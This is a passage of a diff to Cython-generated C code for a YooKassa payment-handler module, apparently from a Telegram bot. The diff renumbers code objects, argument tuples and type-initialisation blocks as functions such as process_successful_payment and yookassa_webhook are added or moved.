__pyx_empty_tuple, __pyx_kp_s_handlers_payments_yookassa_pay_p, __pyx_n_s_process_amount_selection, 118, __pyx_empty_bytes); if (unlikely(!__pyx_codeobj__3)) __PYX_ERR(0, 118, __pyx_L1_error) - - /* "handlers/payments/yookassa_pay.py":192 - * - * - * async def yookassa_webhook(request): # <<<<<<<<<<<<<< - * """ - * Yookassa . - */ - __pyx_tuple__31 = PyTuple_Pack(10, __pyx_n_s_request, __pyx_n_s_event, __pyx_n_s_payment_object, __pyx_n_s_payment_id, __pyx_n_s_payment, __pyx_n_s_user_id_str, __pyx_n_s_amount_str, __pyx_n_s_user_id, __pyx_n_s_amount, __pyx_n_s_e); if (unlikely(!__pyx_tuple__31)) __PYX_ERR(0, 192, __pyx_L1_error) + __pyx_tuple__31 = PyTuple_Pack(9, __pyx_n_s_callback_query, __pyx_n_s_state, __pyx_n_s_session, __pyx_n_s_expected_hash, __pyx_n_s_tg_id, __pyx_n_s_builder, __pyx_n_s_i, __pyx_n_s_key_count, __pyx_n_s_exists); if (unlikely(!__pyx_tuple__31)) __PYX_ERR(0, 61, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__31); __Pyx_GIVEREF(__pyx_tuple__31); - __pyx_codeobj__11 = (PyObject*)__Pyx_PyCode_New(1, 0, 0, 10, 0, CO_OPTIMIZED|CO_NEWLOCALS|CO_COROUTINE, __pyx_empty_bytes, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_tuple__31, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_kp_s_handlers_payments_yookassa_pay_p, __pyx_n_s_yookassa_webhook, 192, __pyx_empty_bytes); if (unlikely(!__pyx_codeobj__11)) __PYX_ERR(0, 192, __pyx_L1_error) + __pyx_codeobj_ = (PyObject*)__Pyx_PyCode_New(3, 0, 0, 9, 0, CO_OPTIMIZED|CO_NEWLOCALS|CO_COROUTINE, __pyx_empty_bytes, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_tuple__31, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_kp_s_handlers_payments_yookassa_pay_p, __pyx_n_s_process_callback_pay_yookassa, 61, __pyx_empty_bytes); if (unlikely(!__pyx_codeobj_)) __PYX_ERR(0, 61, __pyx_L1_error) - /* "handlers/payments/yookassa_pay.py":236 - * - * - * @router.callback_query(F.data == "enter_custom_amount_yookassa") # <<<<<<<<<<<<<< - * async def process_enter_custom_amount( - * callback_query: types.CallbackQuery, state: FSMContext - */ - __pyx_tuple__32 = PyTuple_Pack(3, __pyx_n_s_callback_query, __pyx_n_s_state, __pyx_n_s_builder); if (unlikely(!__pyx_tuple__32)) __PYX_ERR(0, 236, __pyx_L1_error) + __pyx_tuple__32 = PyTuple_Pack(1, __pyx_kp_u_yookassa_amount); if (unlikely(!__pyx_tuple__32)) __PYX_ERR(0, 119, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__32); __Pyx_GIVEREF(__pyx_tuple__32); - __pyx_codeobj__14 = (PyObject*)__Pyx_PyCode_New(2, 0, 0, 3, 0, CO_OPTIMIZED|CO_NEWLOCALS|CO_COROUTINE, __pyx_empty_bytes, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_tuple__32, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_kp_s_handlers_payments_yookassa_pay_p, __pyx_n_s_process_enter_custom_amount, 236, __pyx_empty_bytes); if (unlikely(!__pyx_codeobj__14)) __PYX_ERR(0, 236, __pyx_L1_error) - - /* "handlers/payments/yookassa_pay.py":252 - * - * - * @router.message(ReplenishBalanceState.entering_custom_amount_yookassa) # <<<<<<<<<<<<<< - * async def process_custom_amount_input(callback_query: types.CallbackQuery | types.Message, session: Any): - * conn = await asyncpg.connect(DATABASE_URL) - */ - __pyx_tuple__33 = PyTuple_Pack(12, __pyx_n_s_callback_query, __pyx_n_s_session, __pyx_n_s_conn, __pyx_n_s_tg_id, __pyx_n_s_user_data, __pyx_n_s_state_type, __pyx_n_s_amount, __pyx_n_s_payment, __pyx_n_s_payment_url, __pyx_n_s_payment_message, __pyx_n_s_confirm_keyboard, __pyx_n_s_e); if (unlikely(!__pyx_tuple__33)) __PYX_ERR(0, 252, __pyx_L1_error) + __pyx_tuple__33 = PyTuple_Pack(11, __pyx_n_s_callback_query, __pyx_n_s_state, __pyx_n_s_data, __pyx_n_s_amount_str, __pyx_n_s_amount, __pyx_n_s_customer_name, __pyx_n_s_customer_id, __pyx_n_s_customer_email, __pyx_n_s_payment, __pyx_n_s_payment_url, __pyx_n_s_confirm_keyboard); if (unlikely(!__pyx_tuple__33)) __PYX_ERR(0, 119, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__33); __Pyx_GIVEREF(__pyx_tuple__33); - __pyx_codeobj__17 = (PyObject*)__Pyx_PyCode_New(2, 0, 0, 12, 0, CO_OPTIMIZED|CO_NEWLOCALS|CO_COROUTINE, __pyx_empty_bytes, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_tuple__33, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_kp_s_handlers_payments_yookassa_pay_p, __pyx_n_s_process_custom_amount_input, 252, __pyx_empty_bytes); if (unlikely(!__pyx_codeobj__17)) __PYX_ERR(0, 252, __pyx_L1_error) + __pyx_codeobj__3 = (PyObject*)__Pyx_PyCode_New(2, 0, 0, 11, 0, CO_OPTIMIZED|CO_NEWLOCALS|CO_COROUTINE, __pyx_empty_bytes, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_tuple__33, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_kp_s_handlers_payments_yookassa_pay_p, __pyx_n_s_process_amount_selection, 119, __pyx_empty_bytes); if (unlikely(!__pyx_codeobj__3)) __PYX_ERR(0, 119, __pyx_L1_error) - /* "handlers/payments/yookassa_pay.py":349 - * - * - * async def _send_message(callback_query: types.CallbackQuery | types.Message, text: str, reply_markup=None): # <<<<<<<<<<<<<< - * """ .""" - * if isinstance(callback_query, types.CallbackQuery): - */ - __pyx_tuple__34 = PyTuple_Pack(3, __pyx_n_s_callback_query, __pyx_n_s_text, __pyx_n_s_reply_markup); if (unlikely(!__pyx_tuple__34)) __PYX_ERR(0, 349, __pyx_L1_error) + __pyx_tuple__34 = PyTuple_Pack(11, __pyx_n_s_request, __pyx_n_s_event, __pyx_n_s_payment_object, __pyx_n_s_payment_id, __pyx_n_s_payment, __pyx_n_s_user_id_str, __pyx_n_s_amount_str, __pyx_n_s_user_id, __pyx_n_s_amount, __pyx_n_s_response, __pyx_n_s_e); if (unlikely(!__pyx_tuple__34)) __PYX_ERR(0, 193, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__34); __Pyx_GIVEREF(__pyx_tuple__34); - __pyx_codeobj__25 = (PyObject*)__Pyx_PyCode_New(3, 0, 0, 3, 0, CO_OPTIMIZED|CO_NEWLOCALS|CO_COROUTINE, __pyx_empty_bytes, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_tuple__34, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_kp_s_handlers_payments_yookassa_pay_p, __pyx_n_s_send_message, 349, __pyx_empty_bytes); if (unlikely(!__pyx_codeobj__25)) __PYX_ERR(0, 349, __pyx_L1_error) - __pyx_tuple__35 = PyTuple_Pack(1, Py_None); if (unlikely(!__pyx_tuple__35)) __PYX_ERR(0, 349, __pyx_L1_error) + __pyx_codeobj__11 = (PyObject*)__Pyx_PyCode_New(1, 0, 0, 11, 0, CO_OPTIMIZED|CO_NEWLOCALS|CO_COROUTINE, __pyx_empty_bytes, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_tuple__34, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_kp_s_handlers_payments_yookassa_pay_p, __pyx_n_s_yookassa_webhook, 193, __pyx_empty_bytes); if (unlikely(!__pyx_codeobj__11)) __PYX_ERR(0, 193, __pyx_L1_error) + + __pyx_tuple__35 = PyTuple_Pack(3, __pyx_n_s_user_id, __pyx_n_s_amount, __pyx_n_s_e); if (unlikely(!__pyx_tuple__35)) __PYX_ERR(0, 235, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__35); __Pyx_GIVEREF(__pyx_tuple__35); + __pyx_codeobj__14 = (PyObject*)__Pyx_PyCode_New(2, 0, 0, 3, 0, CO_OPTIMIZED|CO_NEWLOCALS|CO_COROUTINE, __pyx_empty_bytes, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_tuple__35, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_kp_s_handlers_payments_yookassa_pay_p, __pyx_n_s_process_successful_payment, 235, __pyx_empty_bytes); if (unlikely(!__pyx_codeobj__14)) __PYX_ERR(0, 235, __pyx_L1_error) + + __pyx_tuple__36 = PyTuple_Pack(3, __pyx_n_s_callback_query, __pyx_n_s_state, __pyx_n_s_builder); if (unlikely(!__pyx_tuple__36)) __PYX_ERR(0, 247, __pyx_L1_error) + __Pyx_GOTREF(__pyx_tuple__36); + __Pyx_GIVEREF(__pyx_tuple__36); + __pyx_codeobj__17 = (PyObject*)__Pyx_PyCode_New(2, 0, 0, 3, 0, CO_OPTIMIZED|CO_NEWLOCALS|CO_COROUTINE, __pyx_empty_bytes, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_tuple__36, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_kp_s_handlers_payments_yookassa_pay_p, __pyx_n_s_process_enter_custom_amount, 247, __pyx_empty_bytes); if (unlikely(!__pyx_codeobj__17)) __PYX_ERR(0, 247, __pyx_L1_error) + + __pyx_tuple__37 = PyTuple_Pack(12, __pyx_n_s_callback_query, __pyx_n_s_session, __pyx_n_s_conn, __pyx_n_s_tg_id, __pyx_n_s_user_data, __pyx_n_s_state_type, __pyx_n_s_amount, __pyx_n_s_payment, __pyx_n_s_payment_url, __pyx_n_s_payment_message, __pyx_n_s_confirm_keyboard, __pyx_n_s_e); if (unlikely(!__pyx_tuple__37)) __PYX_ERR(0, 263, __pyx_L1_error) + __Pyx_GOTREF(__pyx_tuple__37); + __Pyx_GIVEREF(__pyx_tuple__37); + __pyx_codeobj__20 = (PyObject*)__Pyx_PyCode_New(2, 0, 0, 12, 0, CO_OPTIMIZED|CO_NEWLOCALS|CO_COROUTINE, __pyx_empty_bytes, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_tuple__37, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_kp_s_handlers_payments_yookassa_pay_p, __pyx_n_s_process_custom_amount_input, 263, __pyx_empty_bytes); if (unlikely(!__pyx_codeobj__20)) __PYX_ERR(0, 263, __pyx_L1_error) + + __pyx_tuple__38 = PyTuple_Pack(3, __pyx_n_s_callback_query, __pyx_n_s_text, __pyx_n_s_reply_markup); if (unlikely(!__pyx_tuple__38)) __PYX_ERR(0, 360, __pyx_L1_error) + __Pyx_GOTREF(__pyx_tuple__38); + __Pyx_GIVEREF(__pyx_tuple__38); + __pyx_codeobj__28 = (PyObject*)__Pyx_PyCode_New(3, 0, 0, 3, 0, CO_OPTIMIZED|CO_NEWLOCALS|CO_COROUTINE, __pyx_empty_bytes, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_tuple__38, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_kp_s_handlers_payments_yookassa_pay_p, __pyx_n_s_send_message, 360, __pyx_empty_bytes); if (unlikely(!__pyx_codeobj__28)) __PYX_ERR(0, 360, __pyx_L1_error) + __pyx_tuple__39 = PyTuple_Pack(1, Py_None); if (unlikely(!__pyx_tuple__39)) __PYX_ERR(0, 360, __pyx_L1_error) + __Pyx_GOTREF(__pyx_tuple__39); + __Pyx_GIVEREF(__pyx_tuple__39); __Pyx_RefNannyFinishContext(); return 0; __pyx_L1_error:; @@ -12705,15 +11675,15 @@ static int __Pyx_modinit_type_init_code(void) { __Pyx_RefNannySetupContext("__Pyx_modinit_type_init_code", 0); /*--- Type init code ---*/ #if CYTHON_USE_TYPE_SPECS - __pyx_ptype_8handlers_8payments_12yookassa_pay___pyx_scope_struct__process_callback_pay_yookassa = (PyTypeObject *) __Pyx_PyType_FromModuleAndSpec(__pyx_m, &__pyx_type_8handlers_8payments_12yookassa_pay___pyx_scope_struct__process_callback_pay_yookassa_spec, NULL); if (unlikely(!__pyx_ptype_8handlers_8payments_12yookassa_pay___pyx_scope_struct__process_callback_pay_yookassa)) __PYX_ERR(0, 60, __pyx_L1_error) - if (__Pyx_fix_up_extension_type_from_spec(&__pyx_type_8handlers_8payments_12yookassa_pay___pyx_scope_struct__process_callback_pay_yookassa_spec, __pyx_ptype_8handlers_8payments_12yookassa_pay___pyx_scope_struct__process_callback_pay_yookassa) < 0) __PYX_ERR(0, 60, __pyx_L1_error) + __pyx_ptype_8handlers_8payments_12yookassa_pay___pyx_scope_struct__process_callback_pay_yookassa = (PyTypeObject *) __Pyx_PyType_FromModuleAndSpec(__pyx_m, &__pyx_type_8handlers_8payments_12yookassa_pay___pyx_scope_struct__process_callback_pay_yookassa_spec, NULL); if (unlikely(!__pyx_ptype_8handlers_8payments_12yookassa_pay___pyx_scope_struct__process_callback_pay_yookassa)) __PYX_ERR(0, 61, __pyx_L1_error) + if (__Pyx_fix_up_extension_type_from_spec(&__pyx_type_8handlers_8payments_12yookassa_pay___pyx_scope_struct__process_callback_pay_yookassa_spec, __pyx_ptype_8handlers_8payments_12yookassa_pay___pyx_scope_struct__process_callback_pay_yookassa) < 0) __PYX_ERR(0, 61, __pyx_L1_error) #else __pyx_ptype_8handlers_8payments_12yookassa_pay___pyx_scope_struct__process_callback_pay_yookassa = &__pyx_type_8handlers_8payments_12yookassa_pay___pyx_scope_struct__process_callback_pay_yookassa; #endif #if !CYTHON_COMPILING_IN_LIMITED_API #endif #if !CYTHON_USE_TYPE_SPECS - if (__Pyx_PyType_Ready(__pyx_ptype_8handlers_8payments_12yookassa_pay___pyx_scope_struct__process_callback_pay_yookassa) < 0) __PYX_ERR(0, 60, __pyx_L1_error) + if (__Pyx_PyType_Ready(__pyx_ptype_8handlers_8payments_12yookassa_pay___pyx_scope_struct__process_callback_pay_yookassa) < 0) __PYX_ERR(0, 61, __pyx_L1_error) #endif #if PY_MAJOR_VERSION < 3 __pyx_ptype_8handlers_8payments_12yookassa_pay___pyx_scope_struct__process_callback_pay_yookassa->tp_print = 0; @@ -12724,15 +11694,15 @@ static int __Pyx_modinit_type_init_code(void) { } #endif #if CYTHON_USE_TYPE_SPECS - __pyx_ptype_8handlers_8payments_12yookassa_pay___pyx_scope_struct_1_process_amount_selection = (PyTypeObject *) __Pyx_PyType_FromModuleAndSpec(__pyx_m, &__pyx_type_8handlers_8payments_12yookassa_pay___pyx_scope_struct_1_process_amount_selection_spec, NULL); if (unlikely(!__pyx_ptype_8handlers_8payments_12yookassa_pay___pyx_scope_struct_1_process_amount_selection)) __PYX_ERR(0, 118, __pyx_L1_error) - if (__Pyx_fix_up_extension_type_from_spec(&__pyx_type_8handlers_8payments_12yookassa_pay___pyx_scope_struct_1_process_amount_selection_spec, __pyx_ptype_8handlers_8payments_12yookassa_pay___pyx_scope_struct_1_process_amount_selection) < 0) __PYX_ERR(0, 118, __pyx_L1_error) + __pyx_ptype_8handlers_8payments_12yookassa_pay___pyx_scope_struct_1_process_amount_selection = (PyTypeObject *) __Pyx_PyType_FromModuleAndSpec(__pyx_m, &__pyx_type_8handlers_8payments_12yookassa_pay___pyx_scope_struct_1_process_amount_selection_spec, NULL); if (unlikely(!__pyx_ptype_8handlers_8payments_12yookassa_pay___pyx_scope_struct_1_process_amount_selection)) __PYX_ERR(0, 119, __pyx_L1_error) + if (__Pyx_fix_up_extension_type_from_spec(&__pyx_type_8handlers_8payments_12yookassa_pay___pyx_scope_struct_1_process_amount_selection_spec, __pyx_ptype_8handlers_8payments_12yookassa_pay___pyx_scope_struct_1_process_amount_selection) < 0) __PYX_ERR(0, 119, __pyx_L1_error) #else __pyx_ptype_8handlers_8payments_12yookassa_pay___pyx_scope_struct_1_process_amount_selection = &__pyx_type_8handlers_8payments_12yookassa_pay___pyx_scope_struct_1_process_amount_selection; #endif #if !CYTHON_COMPILING_IN_LIMITED_API #endif #if !CYTHON_USE_TYPE_SPECS - if (__Pyx_PyType_Ready(__pyx_ptype_8handlers_8payments_12yookassa_pay___pyx_scope_struct_1_process_amount_selection) < 0) __PYX_ERR(0, 118, __pyx_L1_error) + if (__Pyx_PyType_Ready(__pyx_ptype_8handlers_8payments_12yookassa_pay___pyx_scope_struct_1_process_amount_selection) < 0) __PYX_ERR(0, 119, __pyx_L1_error) #endif #if PY_MAJOR_VERSION < 3 __pyx_ptype_8handlers_8payments_12yookassa_pay___pyx_scope_struct_1_process_amount_selection->tp_print = 0; @@ -12743,15 +11713,15 @@ static int __Pyx_modinit_type_init_code(void) { } #endif #if CYTHON_USE_TYPE_SPECS - __pyx_ptype_8handlers_8payments_12yookassa_pay___pyx_scope_struct_2_yookassa_webhook = (PyTypeObject *) __Pyx_PyType_FromModuleAndSpec(__pyx_m, &__pyx_type_8handlers_8payments_12yookassa_pay___pyx_scope_struct_2_yookassa_webhook_spec, NULL); if (unlikely(!__pyx_ptype_8handlers_8payments_12yookassa_pay___pyx_scope_struct_2_yookassa_webhook)) __PYX_ERR(0, 192, __pyx_L1_error) - if (__Pyx_fix_up_extension_type_from_spec(&__pyx_type_8handlers_8payments_12yookassa_pay___pyx_scope_struct_2_yookassa_webhook_spec, __pyx_ptype_8handlers_8payments_12yookassa_pay___pyx_scope_struct_2_yookassa_webhook) < 0) __PYX_ERR(0, 192, __pyx_L1_error) + __pyx_ptype_8handlers_8payments_12yookassa_pay___pyx_scope_struct_2_yookassa_webhook = (PyTypeObject *) __Pyx_PyType_FromModuleAndSpec(__pyx_m, &__pyx_type_8handlers_8payments_12yookassa_pay___pyx_scope_struct_2_yookassa_webhook_spec, NULL); if (unlikely(!__pyx_ptype_8handlers_8payments_12yookassa_pay___pyx_scope_struct_2_yookassa_webhook)) __PYX_ERR(0, 193, __pyx_L1_error) + if (__Pyx_fix_up_extension_type_from_spec(&__pyx_type_8handlers_8payments_12yookassa_pay___pyx_scope_struct_2_yookassa_webhook_spec, __pyx_ptype_8handlers_8payments_12yookassa_pay___pyx_scope_struct_2_yookassa_webhook) < 0) __PYX_ERR(0, 193, __pyx_L1_error) #else __pyx_ptype_8handlers_8payments_12yookassa_pay___pyx_scope_struct_2_yookassa_webhook = &__pyx_type_8handlers_8payments_12yookassa_pay___pyx_scope_struct_2_yookassa_webhook; #endif #if !CYTHON_COMPILING_IN_LIMITED_API #endif #if !CYTHON_USE_TYPE_SPECS - if (__Pyx_PyType_Ready(__pyx_ptype_8handlers_8payments_12yookassa_pay___pyx_scope_struct_2_yookassa_webhook) < 0) __PYX_ERR(0, 192, __pyx_L1_error) + if (__Pyx_PyType_Ready(__pyx_ptype_8handlers_8payments_12yookassa_pay___pyx_scope_struct_2_yookassa_webhook) < 0) __PYX_ERR(0, 193, __pyx_L1_error) #endif #if PY_MAJOR_VERSION < 3 __pyx_ptype_8handlers_8payments_12yookassa_pay___pyx_scope_struct_2_yookassa_webhook->tp_print = 0; @@ -12762,60 +11732,79 @@ static int __Pyx_modinit_type_init_code(void) { } #endif #if CYTHON_USE_TYPE_SPECS - __pyx_ptype_8handlers_8payments_12yookassa_pay___pyx_scope_struct_3_process_enter_custom_amount = (PyTypeObject *) __Pyx_PyType_FromModuleAndSpec(__pyx_m, &__pyx_type_8handlers_8payments_12yookassa_pay___pyx_scope_struct_3_process_enter_custom_amount_spec, NULL); if (unlikely(!__pyx_ptype_8handlers_8payments_12yookassa_pay___pyx_scope_struct_3_process_enter_custom_amount)) __PYX_ERR(0, 236, __pyx_L1_error) - if (__Pyx_fix_up_extension_type_from_spec(&__pyx_type_8handlers_8payments_12yookassa_pay___pyx_scope_struct_3_process_enter_custom_amount_spec, __pyx_ptype_8handlers_8payments_12yookassa_pay___pyx_scope_struct_3_process_enter_custom_amount) < 0) __PYX_ERR(0, 236, __pyx_L1_error) + __pyx_ptype_8handlers_8payments_12yookassa_pay___pyx_scope_struct_3_process_successful_payment = (PyTypeObject *) __Pyx_PyType_FromModuleAndSpec(__pyx_m, &__pyx_type_8handlers_8payments_12yookassa_pay___pyx_scope_struct_3_process_successful_payment_spec, NULL); if (unlikely(!__pyx_ptype_8handlers_8payments_12yookassa_pay___pyx_scope_struct_3_process_successful_payment)) __PYX_ERR(0, 235, __pyx_L1_error) + if (__Pyx_fix_up_extension_type_from_spec(&__pyx_type_8handlers_8payments_12yookassa_pay___pyx_scope_struct_3_process_successful_payment_spec, __pyx_ptype_8handlers_8payments_12yookassa_pay___pyx_scope_struct_3_process_successful_payment) < 0) __PYX_ERR(0, 235, __pyx_L1_error) #else - __pyx_ptype_8handlers_8payments_12yookassa_pay___pyx_scope_struct_3_process_enter_custom_amount = &__pyx_type_8handlers_8payments_12yookassa_pay___pyx_scope_struct_3_process_enter_custom_amount; + __pyx_ptype_8handlers_8payments_12yookassa_pay___pyx_scope_struct_3_process_successful_payment = &__pyx_type_8handlers_8payments_12yookassa_pay___pyx_scope_struct_3_process_successful_payment; #endif #if !CYTHON_COMPILING_IN_LIMITED_API #endif #if !CYTHON_USE_TYPE_SPECS - if (__Pyx_PyType_Ready(__pyx_ptype_8handlers_8payments_12yookassa_pay___pyx_scope_struct_3_process_enter_custom_amount) < 0) __PYX_ERR(0, 236, __pyx_L1_error) + if (__Pyx_PyType_Ready(__pyx_ptype_8handlers_8payments_12yookassa_pay___pyx_scope_struct_3_process_successful_payment) < 0) __PYX_ERR(0, 235, __pyx_L1_error) #endif #if PY_MAJOR_VERSION < 3 - __pyx_ptype_8handlers_8payments_12yookassa_pay___pyx_scope_struct_3_process_enter_custom_amount->tp_print = 0; + __pyx_ptype_8handlers_8payments_12yookassa_pay___pyx_scope_struct_3_process_successful_payment->tp_print = 0; #endif #if !CYTHON_COMPILING_IN_LIMITED_API - if ((CYTHON_USE_TYPE_SLOTS && CYTHON_USE_PYTYPE_LOOKUP) && likely(!__pyx_ptype_8handlers_8payments_12yookassa_pay___pyx_scope_struct_3_process_enter_custom_amount->tp_dictoffset && __pyx_ptype_8handlers_8payments_12yookassa_pay___pyx_scope_struct_3_process_enter_custom_amount->tp_getattro == PyObject_GenericGetAttr)) { - __pyx_ptype_8handlers_8payments_12yookassa_pay___pyx_scope_struct_3_process_enter_custom_amount->tp_getattro = __Pyx_PyObject_GenericGetAttrNoDict; + if ((CYTHON_USE_TYPE_SLOTS && CYTHON_USE_PYTYPE_LOOKUP) && likely(!__pyx_ptype_8handlers_8payments_12yookassa_pay___pyx_scope_struct_3_process_successful_payment->tp_dictoffset && __pyx_ptype_8handlers_8payments_12yookassa_pay___pyx_scope_struct_3_process_successful_payment->tp_getattro == PyObject_GenericGetAttr)) { + __pyx_ptype_8handlers_8payments_12yookassa_pay___pyx_scope_struct_3_process_successful_payment->tp_getattro = __Pyx_PyObject_GenericGetAttrNoDict; } #endif #if CYTHON_USE_TYPE_SPECS - __pyx_ptype_8handlers_8payments_12yookassa_pay___pyx_scope_struct_4_process_custom_amount_input = (PyTypeObject *) __Pyx_PyType_FromModuleAndSpec(__pyx_m, &__pyx_type_8handlers_8payments_12yookassa_pay___pyx_scope_struct_4_process_custom_amount_input_spec, NULL); if (unlikely(!__pyx_ptype_8handlers_8payments_12yookassa_pay___pyx_scope_struct_4_process_custom_amount_input)) __PYX_ERR(0, 252, __pyx_L1_error) - if (__Pyx_fix_up_extension_type_from_spec(&__pyx_type_8handlers_8payments_12yookassa_pay___pyx_scope_struct_4_process_custom_amount_input_spec, __pyx_ptype_8handlers_8payments_12yookassa_pay___pyx_scope_struct_4_process_custom_amount_input) < 0) __PYX_ERR(0, 252, __pyx_L1_error) + __pyx_ptype_8handlers_8payments_12yookassa_pay___pyx_scope_struct_4_process_enter_custom_amount = (PyTypeObject *) __Pyx_PyType_FromModuleAndSpec(__pyx_m, &__pyx_type_8handlers_8payments_12yookassa_pay___pyx_scope_struct_4_process_enter_custom_amount_spec, NULL); if (unlikely(!__pyx_ptype_8handlers_8payments_12yookassa_pay___pyx_scope_struct_4_process_enter_custom_amount)) __PYX_ERR(0, 247, __pyx_L1_error) + if (__Pyx_fix_up_extension_type_from_spec(&__pyx_type_8handlers_8payments_12yookassa_pay___pyx_scope_struct_4_process_enter_custom_amount_spec, __pyx_ptype_8handlers_8payments_12yookassa_pay___pyx_scope_struct_4_process_enter_custom_amount) < 0) __PYX_ERR(0, 247, __pyx_L1_error) #else - __pyx_ptype_8handlers_8payments_12yookassa_pay___pyx_scope_struct_4_process_custom_amount_input = &__pyx_type_8handlers_8payments_12yookassa_pay___pyx_scope_struct_4_process_custom_amount_input; + __pyx_ptype_8handlers_8payments_12yookassa_pay___pyx_scope_struct_4_process_enter_custom_amount = &__pyx_type_8handlers_8payments_12yookassa_pay___pyx_scope_struct_4_process_enter_custom_amount; #endif #if !CYTHON_COMPILING_IN_LIMITED_API #endif #if !CYTHON_USE_TYPE_SPECS - if (__Pyx_PyType_Ready(__pyx_ptype_8handlers_8payments_12yookassa_pay___pyx_scope_struct_4_process_custom_amount_input) < 0) __PYX_ERR(0, 252, __pyx_L1_error) + if (__Pyx_PyType_Ready(__pyx_ptype_8handlers_8payments_12yookassa_pay___pyx_scope_struct_4_process_enter_custom_amount) < 0) __PYX_ERR(0, 247, __pyx_L1_error) #endif #if PY_MAJOR_VERSION < 3 - __pyx_ptype_8handlers_8payments_12yookassa_pay___pyx_scope_struct_4_process_custom_amount_input->tp_print = 0; + __pyx_ptype_8handlers_8payments_12yookassa_pay___pyx_scope_struct_4_process_enter_custom_amount->tp_print = 0; #endif #if !CYTHON_COMPILING_IN_LIMITED_API - if ((CYTHON_USE_TYPE_SLOTS && CYTHON_USE_PYTYPE_LOOKUP) && likely(!__pyx_ptype_8handlers_8payments_12yookassa_pay___pyx_scope_struct_4_process_custom_amount_input->tp_dictoffset && __pyx_ptype_8handlers_8payments_12yookassa_pay___pyx_scope_struct_4_process_custom_amount_input->tp_getattro == PyObject_GenericGetAttr)) { - __pyx_ptype_8handlers_8payments_12yookassa_pay___pyx_scope_struct_4_process_custom_amount_input->tp_getattro = __Pyx_PyObject_GenericGetAttrNoDict; + if ((CYTHON_USE_TYPE_SLOTS && CYTHON_USE_PYTYPE_LOOKUP) && likely(!__pyx_ptype_8handlers_8payments_12yookassa_pay___pyx_scope_struct_4_process_enter_custom_amount->tp_dictoffset && __pyx_ptype_8handlers_8payments_12yookassa_pay___pyx_scope_struct_4_process_enter_custom_amount->tp_getattro == PyObject_GenericGetAttr)) { + __pyx_ptype_8handlers_8payments_12yookassa_pay___pyx_scope_struct_4_process_enter_custom_amount->tp_getattro = __Pyx_PyObject_GenericGetAttrNoDict; } #endif #if CYTHON_USE_TYPE_SPECS - __pyx_ptype_8handlers_8payments_12yookassa_pay___pyx_scope_struct_5__send_message = (PyTypeObject *) __Pyx_PyType_FromModuleAndSpec(__pyx_m, &__pyx_type_8handlers_8payments_12yookassa_pay___pyx_scope_struct_5__send_message_spec, NULL); if (unlikely(!__pyx_ptype_8handlers_8payments_12yookassa_pay___pyx_scope_struct_5__send_message)) __PYX_ERR(0, 349, __pyx_L1_error) - if (__Pyx_fix_up_extension_type_from_spec(&__pyx_type_8handlers_8payments_12yookassa_pay___pyx_scope_struct_5__send_message_spec, __pyx_ptype_8handlers_8payments_12yookassa_pay___pyx_scope_struct_5__send_message) < 0) __PYX_ERR(0, 349, __pyx_L1_error) + __pyx_ptype_8handlers_8payments_12yookassa_pay___pyx_scope_struct_5_process_custom_amount_input = (PyTypeObject *) __Pyx_PyType_FromModuleAndSpec(__pyx_m, &__pyx_type_8handlers_8payments_12yookassa_pay___pyx_scope_struct_5_process_custom_amount_input_spec, NULL); if (unlikely(!__pyx_ptype_8handlers_8payments_12yookassa_pay___pyx_scope_struct_5_process_custom_amount_input)) __PYX_ERR(0, 263, __pyx_L1_error) + if (__Pyx_fix_up_extension_type_from_spec(&__pyx_type_8handlers_8payments_12yookassa_pay___pyx_scope_struct_5_process_custom_amount_input_spec, __pyx_ptype_8handlers_8payments_12yookassa_pay___pyx_scope_struct_5_process_custom_amount_input) < 0) __PYX_ERR(0, 263, __pyx_L1_error) #else - __pyx_ptype_8handlers_8payments_12yookassa_pay___pyx_scope_struct_5__send_message = &__pyx_type_8handlers_8payments_12yookassa_pay___pyx_scope_struct_5__send_message; + __pyx_ptype_8handlers_8payments_12yookassa_pay___pyx_scope_struct_5_process_custom_amount_input = &__pyx_type_8handlers_8payments_12yookassa_pay___pyx_scope_struct_5_process_custom_amount_input; #endif #if !CYTHON_COMPILING_IN_LIMITED_API #endif #if !CYTHON_USE_TYPE_SPECS - if (__Pyx_PyType_Ready(__pyx_ptype_8handlers_8payments_12yookassa_pay___pyx_scope_struct_5__send_message) < 0) __PYX_ERR(0, 349, __pyx_L1_error) + if (__Pyx_PyType_Ready(__pyx_ptype_8handlers_8payments_12yookassa_pay___pyx_scope_struct_5_process_custom_amount_input) < 0) __PYX_ERR(0, 263, __pyx_L1_error) #endif #if PY_MAJOR_VERSION < 3 - __pyx_ptype_8handlers_8payments_12yookassa_pay___pyx_scope_struct_5__send_message->tp_print = 0; + __pyx_ptype_8handlers_8payments_12yookassa_pay___pyx_scope_struct_5_process_custom_amount_input->tp_print = 0; #endif #if !CYTHON_COMPILING_IN_LIMITED_API - if ((CYTHON_USE_TYPE_SLOTS && CYTHON_USE_PYTYPE_LOOKUP) && likely(!__pyx_ptype_8handlers_8payments_12yookassa_pay___pyx_scope_struct_5__send_message->tp_dictoffset && __pyx_ptype_8handlers_8payments_12yookassa_pay___pyx_scope_struct_5__send_message->tp_getattro == PyObject_GenericGetAttr)) { - 